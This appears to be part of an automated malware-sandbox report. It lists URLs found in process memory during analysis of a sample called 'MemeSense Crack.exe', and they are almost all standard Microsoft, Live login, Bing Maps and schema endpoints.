Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000023.00000002.1824884007.00000259C3477000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 00000029.00000003.2272692697.000001BA8E3DB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641027469.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1642244205.000001BA8E351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1640619987.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000023.00000002.1672846653.00000259B3629000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B245D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policye.srf
Source: svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000002D.00000003.1832331844.0000024796331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1850307947.0000024796358000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1792352974.000002479632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: powershell.exe, 00000023.00000002.1672846653.00000259B3401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B243B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000029.00000000.1638939550.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: powershell.exe, 00000023.00000002.1672846653.00000259B3629000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B245D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 00000003.00000002.1366999584.0000021754C13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: svchost.exe, 0000005B.00000000.2173359429.000001FF39513000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comLTH
Source: powershell.exe, 00000023.00000002.1855520120.00000259CC5D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: powershell.exe, 00000023.00000002.1856697719.00000259CC619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 0000004E.00000002.2759544100.0000021B3CC67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000004E.00000002.2739512221.0000021B3C8D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coz2
Source: svchost.exe, 0000005C.00000000.2203944170.000001D50025A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com/
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789004310.0000024796357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 00000023.00000002.1672846653.00000259B3401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B243B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: SystemSettings.exe, 00000036.00000003.2028785766.0000027998874000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
Source: svchost.exe, 00000003.00000002.1367158991.0000021754C59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000003.00000003.1366609202.0000021754C43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366427379.0000021754C64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366327723.0000021754C6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366567765.0000021754C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000003.00000003.1366411378.0000021754C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000003.00000003.1366609202.0000021754C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000003.00000003.1366427379.0000021754C64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366567765.0000021754C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000003.00000003.1366411378.0000021754C67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.1367041253.0000021754C2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000003.00000003.1366427379.0000021754C64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.1367089999.0000021754C3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.1367175237.0000021754C65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000003.00000002.1367089999.0000021754C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000003.00000003.1366644656.0000021754C30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000003.00000002.1367089999.0000021754C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366609202.0000021754C43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366482095.0000021754C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366482095.0000021754C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000003.00000003.1366411378.0000021754C67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.1367041253.0000021754C2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod
Source: svchost.exe, 00000002.00000003.1203256293.0000024C9F223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdC:
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000002.00000003.1203256293.0000024C9F212000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2C:
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000023.00000002.1672846653.00000259B53E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B26380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf215
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806003
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806031
Source: svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789004310.0000024796357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
